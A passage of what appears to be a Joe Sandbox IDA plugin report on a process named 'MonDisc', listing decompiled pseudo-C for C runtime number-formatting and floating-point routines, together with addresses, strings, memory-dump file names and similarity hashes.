				_t185 = _t160;
				if ((0x00000000 & _t160) != 0) goto 0xed11a930;
				asm("o16 nop [eax+eax]");
				_t165 = _t164 - 1;
				_t98 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - 0xcccccccd + _t160 + 0xcccccccd + _t160;
				r8b = r8b + 0x30;
				 *_t165 = r8b;
				r8d = _t98;
				if (_t98 != 0) goto 0xed11a960;
				goto 0xed11aa13;
				if ((r15b & 0x00000010) == 0) goto 0xed11a9f0;
				asm("inc ecx");
				_t151 =  <  ? "0123456789ABCDEF" : "0123456789abcdef";
				_t166 = _t165 - 1;
				_t186 = _t185 >> 4;
				 *_t166 =  *(_t185 + ( <  ? "0123456789ABCDEF" : "0123456789abcdef")) & 0x000000ff;
				_t122 = _t186;
				if (_t122 != 0) goto 0xed11a9b0;
				asm("inc ecx");
				if (_t122 >= 0) goto 0xed11aa13;
				_t87 = ( !(r15d >> 8) & 0x00000020 | 0x00000058) + 0x200;
				goto 0xed11aa13;
				asm("o16 nop [eax+eax]");
				_t167 = _t166 - 1;
				_t59 = (r8b & 7) + 0x30;
				 *_t167 = _t59;
				_t123 = _t186 >> 3;
				if (_t123 != 0) goto 0xed11a9f0;
				asm("inc ecx");
				if (_t123 >= 0) goto 0xed11aa13;
				_t168 = _t167 - 1;
				 *_t168 = 0x30;
				_a24 = __rsi;
				r12d = _t87;
				_v96 =  &_v65;
				r14d = _t59 - __edi;
				r14d =  <  ? r9d : r14d;
				_t106 = r15d >> 0x00000010 & 0x000000ff;
				r12d = r12d >> 8;
				r12d = r12d + r14d;
				_v100 = r14d;
				_t100 =  >  ? _t106 : r12d;
				_t126 = ( >  ? _t106 : r12d) -  *((intOrPtr*)(__rcx + 8)) -  *((intOrPtr*)(__rcx));
				if (_t126 <= 0) goto 0xed11aa6b;
				0xed135670();
				goto 0xed11aa6f;
				_t173 =  *((intOrPtr*)(__rcx));
				_v104 = r15d & 0x00000500;
				if (_t126 != 0) goto 0xed11aab3;
				_t127 = _t106 - r12d;
				if (_t127 <= 0) goto 0xed11aab1;
				_t68 = _t106 - r12d;
				r8d = _t68;
				r14d = _t68;
				E00007FF67FF6ED174DE0(_t68, 0x20, _t173, _t160, _t186 >> 3);
				_t174 = _t173 + __r14;
				asm("o16 nop [eax+eax]");
				if (_t127 != 0) goto 0xed11aaa0;
				r14d = _v100;
				_t108 = _t106;
				if (_t87 == 0) goto 0xed11aac7;
				if (_t87 - 0x58 < 0) goto 0xed11aac2;
				 *_t174 = 0x30;
				_t175 = _t174 + 1;
				 *_t175 = _t87;
				_t176 =  &(_t175[0]);
				if (_v104 != 0x400) goto 0xed11aafa;
				_t131 = _t108 - r12d;
				if (_t131 <= 0) goto 0xed11aaf8;
				r8d = _t108 - r12d;
				_t73 = E00007FF67FF6ED174DE0(_t108 - r12d, 0x30, _t176, _t160, _t186 >> 3);
				_t177 = _t176 + _t147;
				asm("o16 nop [eax+eax]");
				_t148 = _t147 - 1;
				if (_t131 != 0) goto 0xed11aaf0;
				_t110 = _t108;
				if (r14d - _t73 <= 0) goto 0xed11ab1a;
				r14d = r14d - _t73;
				r8d = r14d;
				E00007FF67FF6ED174DE0(_t73, 0x30, _t177, _t160, _t186 >> 3);
				_t178 = _t177 + _t148;
				if (_t168 -  &_v65 >= 0) goto 0xed11ab45;
				 *_t178 =  *_t168 & 0x000000ff;
				_t179 = _t178 + 1;
				_t134 =  &(_t168[1]) -  &_v65;
				if (_t134 < 0) goto 0xed11ab30;
				asm("inc ecx");
				if (_t134 >= 0) goto 0xed11ab70;
				if (_t110 - r12d <= 0) goto 0xed11ab70;
				r8d = _t110 - r12d;
				_t76 = E00007FF67FF6ED174DE0( *_t168 & 0x000000ff, 0x20, _t179, _t160, _t186 >> 3);
				 *__rcx = _t179 + _t148;
				return E00007FF67FF6ED173DE0(_t76, 0xcccccccd + _t160 + 0xcccccccd + _t160, _v64 ^  &_v104);
			}

0x7ff6ed11a86b
0x7ff6ed11a875
0x7ff6ed11a87a
0x7ff6ed11a884
0x7ff6ed11a88b
0x7ff6ed11a89a
0x7ff6ed11a89c
0x7ff6ed11a89f
0x7ff6ed11a8a1
0x7ff6ed11a8a9
0x7ff6ed11a8ab
0x7ff6ed11a8af
0x7ff6ed11a8b6
0x7ff6ed11a8b8
0x7ff6ed11a8c1
0x7ff6ed11a8c4
0x7ff6ed11a8c7
0x7ff6ed11a8ca
0x7ff6ed11a8cf
0x7ff6ed11a8d3
0x7ff6ed11a8d7
0x7ff6ed11a8de
0x7ff6ed11a8e3
0x7ff6ed11a8f2
0x7ff6ed11a8fd
0x7ff6ed11a902
0x7ff6ed11a90b
0x7ff6ed11a91e
0x7ff6ed11a92a
0x7ff6ed11a930
0x7ff6ed11a939
0x7ff6ed11a948
0x7ff6ed11a94b
0x7ff6ed11a94f
0x7ff6ed11a952
0x7ff6ed11a958
0x7ff6ed11a95a
0x7ff6ed11a960
0x7ff6ed11a96b
0x7ff6ed11a979
0x7ff6ed11a97c
0x7ff6ed11a980
0x7ff6ed11a983
0x7ff6ed11a988
0x7ff6ed11a98a
0x7ff6ed11a993
0x7ff6ed11a995
0x7ff6ed11a9a8
0x7ff6ed11a9b3
0x7ff6ed11a9b9
0x7ff6ed11a9c1
0x7ff6ed11a9c3
0x7ff6ed11a9c6
0x7ff6ed11a9c8
0x7ff6ed11a9cd
0x7ff6ed11a9dd
0x7ff6ed11a9e3
0x7ff6ed11a9e5
0x7ff6ed11a9f4
0x7ff6ed11a9fd
0x7ff6ed11a9ff
0x7ff6ed11aa01
0x7ff6ed11aa04
0x7ff6ed11aa06
0x7ff6ed11aa0b
0x7ff6ed11aa0d
0x7ff6ed11aa10
0x7ff6ed11aa18
0x7ff6ed11aa22
0x7ff6ed11aa28
0x7ff6ed11aa2d
0x7ff6ed11aa33
0x7ff6ed11aa3a
0x7ff6ed11aa41
0x7ff6ed11aa45
0x7ff6ed11aa48
0x7ff6ed11aa53
0x7ff6ed11aa5a
0x7ff6ed11aa5c
0x7ff6ed11aa61
0x7ff6ed11aa69
0x7ff6ed11aa6b
0x7ff6ed11aa77
0x7ff6ed11aa7b
0x7ff6ed11aa7d
0x7ff6ed11aa80
0x7ff6ed11aa86
0x7ff6ed11aa8c
0x7ff6ed11aa8f
0x7ff6ed11aa92
0x7ff6ed11aa97
0x7ff6ed11aa9a
0x7ff6ed11aaa6
0x7ff6ed11aaac
0x7ff6ed11aab1
0x7ff6ed11aab5
0x7ff6ed11aaba
0x7ff6ed11aabc
0x7ff6ed11aabf
0x7ff6ed11aac2
0x7ff6ed11aac4
0x7ff6ed11aacc
0x7ff6ed11aace
0x7ff6ed11aad1
0x7ff6ed11aadd
0x7ff6ed11aae2
0x7ff6ed11aae7
0x7ff6ed11aaea
0x7ff6ed11aaf2
0x7ff6ed11aaf6
0x7ff6ed11aaf8
0x7ff6ed11ab02
0x7ff6ed11ab04
0x7ff6ed11ab09
0x7ff6ed11ab12
0x7ff6ed11ab17
0x7ff6ed11ab27
0x7ff6ed11ab36
0x7ff6ed11ab38
0x7ff6ed11ab40
0x7ff6ed11ab43
0x7ff6ed11ab4a
0x7ff6ed11ab54
0x7ff6ed11ab59
0x7ff6ed11ab60
0x7ff6ed11ab68
0x7ff6ed11ab70
0x7ff6ed11ab96

Strings

0123456789abcdef, xrefs: 00007FF6ED11A9A1
0, xrefs: 00007FF6ED11A8FD
0123456789ABCDEF, xrefs: 00007FF6ED11A99A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID: 0$0123456789ABCDEF$0123456789abcdef
API String ID: 0-1311735279
Opcode ID: 45a259388f29df5ce7bd4180813bf2fc9cd9b9c1d2f048afa6ca06ef06154292
Instruction ID: 94588e9fd8488dfdec68ce4a45a212ccdbc4ef3f875fcf116d35f209d0c774e2
Opcode Fuzzy Hash: 45a259388f29df5ce7bd4180813bf2fc9cd9b9c1d2f048afa6ca06ef06154292
Instruction Fuzzy Hash: B6813563F1869B46EB208A29A5403B96F94FB757C0F404131DA8D93B85FE3EE44AC706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B5214 Relevance: 3.4, APIs: 2, Instructions: 378COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1B52F6
_set_statfp.LIBCMT ref: 00007FF6ED1B5532

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 6cab9dcf843be421d489f38d39a670fca876d1c3c5ac90c3a94dbfacbf53c1d9
Instruction ID: d70296457dde862209f9f60e15644a314ef204116513d141b3053e2a2c8bd571
Opcode Fuzzy Hash: 6cab9dcf843be421d489f38d39a670fca876d1c3c5ac90c3a94dbfacbf53c1d9
Instruction Fuzzy Hash: FBF1CA13F29F8A88E5238B3555103F6A354AF663D1F518336ED9E77B94FF2EA0428205

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1D18AC Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6ED1D1AFB
RaiseException.KERNEL32 ref: 00007FF6ED1D1B0C

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 8c900cd43888b68ba79afb9ff4e86fa1f3b54f74c2916e8c37015ffa09e837b4
Instruction ID: 2e6cabeadabacb8df0712b1ecc02029ce28d4c830e80d9ba5b6f84c67a77e89a
Opcode Fuzzy Hash: 8c900cd43888b68ba79afb9ff4e86fa1f3b54f74c2916e8c37015ffa09e837b4
Instruction Fuzzy Hash: 95B15D77604B858BEB19CF29C8863AC37B0F744B89F148921DA9D877A4DF3AD491CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED137960 Relevance: 2.7, Strings: 2, Instructions: 182
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED137960(void* __edx, void* __rcx, signed int __rdx, intOrPtr* __r8, signed int __r10, intOrPtr _a40) {
				signed int _v24;
				void* _t12;
				signed long long _t23;
				signed long long _t32;

				_t23 =  *0xed2361d8; // 0x3623d5dd24d9
				_v24 = _t23 ^ _t32;
				r11d = _a40;
				if (r9d - r11d > 0) goto 0xed1379ce;
				r10d = __edx;
				if ( *((intOrPtr*)(__rcx + __r10 * 4)) !=  *__r8) goto 0xed1379b9;
				r11d = r11d - r9d;
				if (r11d - 9 < 0) goto 0xed1379d9;
				if ( *((intOrPtr*)(__rcx + __rdx * 4)) !=  *((intOrPtr*)(__r8 - 4))) goto 0xed1379b9;
				r11d = r11d + 0xfffffff7;
				goto 0xed1379d9;
				return E00007FF67FF6ED173DE0(0, _t12, _v24 ^ _t32);
			}

0x7ff6ed137966
0x7ff6ed137970
0x7ff6ed137975
0x7ff6ed137983
0x7ff6ed137988
0x7ff6ed13798f
0x7ff6ed137991
0x7ff6ed1379a1
0x7ff6ed1379a8
0x7ff6ed1379aa
0x7ff6ed1379b7
0x7ff6ed1379cd

Strings

5, xrefs: 00007FF6ED137BAD
5, xrefs: 00007FF6ED137BB9

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID: 5$5
API String ID: 0-2059066348
Opcode ID: cb911cda7ee9f69248ef9ec704fe6555eb0bfa185b410eef964371aef5e3fb3b
Instruction ID: d18f0e4d905eaffa23cb8acc745851d5160770b4769c5383ce76ee25cfa0e214
Opcode Fuzzy Hash: cb911cda7ee9f69248ef9ec704fe6555eb0bfa185b410eef964371aef5e3fb3b
Instruction Fuzzy Hash: C4513C67B385814BE72D4238A473B669F8CD3A9344F50622AE646CBED3F51EC206CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED19269C Relevance: 1.5, Strings: 1, Instructions: 210
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 33%

			E00007FF67FF6ED19269C(long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				intOrPtr _t69;
				void* _t71;
				unsigned int _t99;
				intOrPtr _t100;
				unsigned int _t103;
				signed char _t112;
				void* _t117;
				void* _t119;
				void* _t122;
				void* _t123;
				intOrPtr* _t164;
				void* _t180;
				intOrPtr* _t183;
				void* _t187;
				void* _t188;
				void* _t190;
				intOrPtr* _t195;
				void* _t196;

				_t185 = __rbp;
				_t182 = __rsi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t188 = _t187 - 0x30;
				_t69 =  *((intOrPtr*)(__rcx + 0x41));
				r15d = 1;
				sil = 0x78;
				bpl = 0x58;
				r14b = 0x41;
				_t123 = _t69 - 0x64;
				if (_t123 > 0) goto 0xed192723;
				if (_t123 == 0) goto 0xed19278f;
				if (_t69 == r14b) goto 0xed1927a2;
				if (_t69 == 0x43) goto 0xed19270d;
				if (_t69 - 0x44 <= 0) goto 0xed1927ab;
				if (_t69 - 0x47 <= 0) goto 0xed1927a2;
				if (_t69 == 0x53) goto 0xed19274b;
				if (_t69 == bpl) goto 0xed192760;
				if (_t69 == 0x5a) goto 0xed192719;
				if (_t69 == 0x61) goto 0xed1927a2;
				if (_t69 != 0x63) goto 0xed1927ab;
				E00007FF67FF6ED1966D8(_t69 - 0x63, __rcx, __rcx);
				goto 0xed1927a7;
				_t71 = E00007FF67FF6ED19495C(__rcx);
				goto 0xed1927a7;
				if (_t71 - 0x67 <= 0) goto 0xed1927a2;
				if (_t71 == 0x69) goto 0xed19278f;
				if (_t71 == 0x6e) goto 0xed192788;
				if (_t71 == 0x6f) goto 0xed19276a;
				if (_t71 == 0x70) goto 0xed192752;
				if (_t71 == 0x73) goto 0xed19274b;
				if (_t71 == 0x75) goto 0xed192793;
				if (_t71 != sil) goto 0xed1927ab;
				goto 0xed192798;
				E00007FF67FF6ED198D48(__rcx, __rcx);
				goto 0xed1927a7;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed19279b;
				_t99 =  *(__rcx + 0x30);
				if ((r15b & _t99 >> 0x00000005) == 0) goto 0xed19277e;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t99;
				goto 0xed192798;
				E00007FF67FF6ED198398(_t164, __rcx);
				goto 0xed1927a7;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED1971C0(0xa, _t117, _t119, r15b & _t99 >> 0x00000005, _t164, __rcx, __rcx, __rbp, _t190);
				goto 0xed1927a7;
				if (E00007FF67FF6ED1950D4(0xa, _t119, __rcx, __rcx, __rsi, _t185) != 0) goto 0xed1927b2;
				goto 0xed19291d;
				if ( *((intOrPtr*)(__rcx + 0x47c)) != 2) goto 0xed1927c8;
				if ( *((intOrPtr*)(__rcx + 0x478)) == r15d) goto 0xed19291a;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed19291a;
				_t112 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xed19281a;
				if ((r15b & 0) == 0) goto 0xed1927fd;
				_a8 = 0x2d;
				goto 0xed192817;
				if ((r15b & _t112) == 0) goto 0xed192809;
				_a8 = 0x2b;
				goto 0xed192817;
				if ((r15b & 0) == 0) goto 0xed19281a;
				_a8 = 0x20;
				_t180 = _t196;
				_t100 =  *((intOrPtr*)(__rcx + 0x41));
				if ((_t100 - bpl & 0x000000df) != 0) goto 0xed192835;
				if ((r15b & _t112 >> 0x00000005) == 0) goto 0xed192835;
				r8b = r15b;
				goto 0xed192838;
				r8b = 0;
				if (r8b != 0) goto 0xed19284b;
				if ((_t100 - r14b & 0xffffff00 | (_t100 - r14b & 0x000000df) == 0x00000000) == 0) goto 0xed192866;
				 *((char*)(_t188 + _t180 + 0x50)) = 0x30;
				if (_t100 == bpl) goto 0xed19285a;
				if (_t100 != r14b) goto 0xed19285d;
				sil = bpl;
				 *((intOrPtr*)(_t188 + _t180 + 0x51)) = sil;
				_t122 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t112 & 0x0000000c) != 0) goto 0xed192888;
				r8d = _t122;
				E00007FF67FF6ED18B0C4(0x20, __rcx, __rcx + 0x468, _t180 + 2, _t182, _t185, __rcx + 0x28);
				_t195 = __rcx + 0x468;
				_t183 = __rcx + 0x28;
				if ((r15b &  *( *_t195 + 0x14) >> 0x0000000c) == 0) goto 0xed1928af;
				if ( *((long long*)( *_t195 + 8)) != 0) goto 0xed1928af;
				 *_t183 =  *_t183;
				goto 0xed1928cb;
				r8d = 0;
				_v40 = __rcx + 0x10;
				0xed19be48();
				_t103 =  *(__rcx + 0x30);
				if ((r15b & _t103 >> 0x00000003) == 0) goto 0xed1928f0;
				if ((r15b & _t103 >> 0x00000002) != 0) goto 0xed1928f0;
				r8d = _t122;
				E00007FF67FF6ED18B0C4(0x30, __rcx, _t195, _t180 + 2, _t183, _t185, _t183);
				0xed19b214();
				if ( *_t183 < 0) goto 0xed19291a;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) == 0) goto 0xed19291a;
				r8d = _t122;
				E00007FF67FF6ED18B0C4(0x20, __rcx, _t195, _t180 + 2, _t183, _t185, _t183);
				return r15b;
			}

0x7ff6ed19269c
0x7ff6ed19269c
0x7ff6ed19269c
0x7ff6ed1926a1
0x7ff6ed1926a6
0x7ff6ed1926b0
0x7ff6ed1926b4
0x7ff6ed1926ba
0x7ff6ed1926c0
0x7ff6ed1926c3
0x7ff6ed1926c6
0x7ff6ed1926c9
0x7ff6ed1926cb
0x7ff6ed1926cd
0x7ff6ed1926d6
0x7ff6ed1926de
0x7ff6ed1926e2
0x7ff6ed1926ea
0x7ff6ed1926f2
0x7ff6ed1926f7
0x7ff6ed1926fb
0x7ff6ed1926ff
0x7ff6ed192707
0x7ff6ed19270f
0x7ff6ed192714
0x7ff6ed192719
0x7ff6ed19271e
0x7ff6ed192725
0x7ff6ed192729
0x7ff6ed19272d
0x7ff6ed192731
0x7ff6ed192735
0x7ff6ed192739
0x7ff6ed19273d
0x7ff6ed192742
0x7ff6ed192749
0x7ff6ed19274b
0x7ff6ed192750
0x7ff6ed192752
0x7ff6ed192759
0x7ff6ed192760
0x7ff6ed192768
0x7ff6ed19276a
0x7ff6ed192775
0x7ff6ed192777
0x7ff6ed19277b
0x7ff6ed192786
0x7ff6ed192788
0x7ff6ed19278d
0x7ff6ed19278f
0x7ff6ed192798
0x7ff6ed19279b
0x7ff6ed1927a0
0x7ff6ed1927a9
0x7ff6ed1927ad
0x7ff6ed1927b9
0x7ff6ed1927c2
0x7ff6ed1927cc
0x7ff6ed1927d2
0x7ff6ed1927d7
0x7ff6ed1927de
0x7ff6ed1927ea
0x7ff6ed1927f4
0x7ff6ed1927f6
0x7ff6ed1927fb
0x7ff6ed192800
0x7ff6ed192802
0x7ff6ed192807
0x7ff6ed192810
0x7ff6ed192812
0x7ff6ed192817
0x7ff6ed19281a
0x7ff6ed192824
0x7ff6ed19282e
0x7ff6ed192830
0x7ff6ed192833
0x7ff6ed192835
0x7ff6ed192845
0x7ff6ed192849
0x7ff6ed19284b
0x7ff6ed192853
0x7ff6ed192858
0x7ff6ed19285a
0x7ff6ed19285d
0x7ff6ed19286c
0x7ff6ed192871
0x7ff6ed192877
0x7ff6ed192883
0x7ff6ed192888
0x7ff6ed192892
0x7ff6ed19289f
0x7ff6ed1928a9
0x7ff6ed1928ab
0x7ff6ed1928ad
0x7ff6ed1928b6
0x7ff6ed1928b9
0x7ff6ed1928c6
0x7ff6ed1928cb
0x7ff6ed1928d6
0x7ff6ed1928de
0x7ff6ed1928e3
0x7ff6ed1928eb
0x7ff6ed1928f5
0x7ff6ed1928fd
0x7ff6ed192908
0x7ff6ed19290d
0x7ff6ed192915
0x7ff6ed192935

Strings

0, xrefs: 00007FF6ED19284B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 42c7a0984f9e163ea0bb586bef656cde470fdc3c93eb03cf0d9b2601bf4cb783
Instruction ID: 6919c254e2e700cb74e8458e96e02768babb0689bdf02084c4493afb38e07c1c
Opcode Fuzzy Hash: 42c7a0984f9e163ea0bb586bef656cde470fdc3c93eb03cf0d9b2601bf4cb783
Instruction Fuzzy Hash: 2C71E323B0C34746FA688A6992003FD27D1EF51B44F941135EE49972DAEE2FE842870B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED193BBC Relevance: 1.5, Strings: 1, Instructions: 209
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6ED193BBC(long long __rbx, long long __rcx, long long __rsi, long long __rbp, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v48;
				short _v52;
				short _v56;
				long long _v72;
				void* __rdi;
				signed int _t71;
				void* _t73;
				void* _t96;
				void* _t105;
				unsigned int _t106;
				signed short _t107;
				signed char _t115;
				signed short _t123;
				void* _t126;
				void* _t127;
				signed long long _t165;
				void* _t181;
				signed long long _t182;
				void* _t189;
				signed long long _t190;
				void* _t192;
				signed long long _t200;

				_t187 = __rbp;
				_t184 = __rsi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t190 = _t189 - 0x40;
				_t165 =  *0xed2361d8; // 0x3623d5dd24d9
				_v48 = _t165 ^ _t190;
				_t71 =  *(__rcx + 0x42) & 0x0000ffff;
				_t6 = _t184 - 0x20; // 0x58
				_t123 = _t6;
				_t7 = _t184 - 0x77; // 0x1
				r15d = _t7;
				_t127 = _t71 - 0x64;
				if (_t127 > 0) goto 0xed193c65;
				if (_t127 == 0) goto 0xed193ce3;
				if (_t71 == 0x41) goto 0xed193cf6;
				if (_t71 == 0x43) goto 0xed193c4f;
				if (_t71 - 0x44 <= 0) goto 0xed193cff;
				if (_t71 - 0x47 <= 0) goto 0xed193cf6;
				if (_t71 == 0x53) goto 0xed193c9f;
				if (_t71 == _t123) goto 0xed193cb4;
				if (_t71 == 0x5a) goto 0xed193c5b;
				if (_t71 == 0x61) goto 0xed193cf6;
				if (_t71 != 0x63) goto 0xed193cff;
				E00007FF67FF6ED196D64(_t71 - 0x63, __rcx, __rcx, __rsi);
				goto 0xed193cfb;
				_t73 = E00007FF67FF6ED194D88(_t105, __rcx, __rcx, _t184);
				goto 0xed193cfb;
				if (_t73 - 0x67 <= 0) goto 0xed193cf6;
				if (_t73 == 0x69) goto 0xed193ce3;
				if (_t73 == 0x6e) goto 0xed193cdc;
				if (_t73 == 0x6f) goto 0xed193cbe;
				if (_t73 == 0x70) goto 0xed193ca6;
				if (_t73 == 0x73) goto 0xed193c9f;
				if (_t73 == 0x75) goto 0xed193ce7;
				if (_t73 != 0x78) goto 0xed193cff;
				goto 0xed193cec;
				E00007FF67FF6ED1992FC(__rcx, __rcx, _t184);
				goto 0xed193cfb;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed193cef;
				_t106 =  *(__rcx + 0x30);
				if ((r15b & _t106 >> 0x00000005) == 0) goto 0xed193cd2;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t106;
				goto 0xed193cec;
				E00007FF67FF6ED198850(__rcx, __rcx);
				goto 0xed193cfb;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197E50(0xa, 0x78, r15b & _t106 >> 0x00000005, __rcx, __rcx, _t181, _t184, __rbp);
				goto 0xed193cfb;
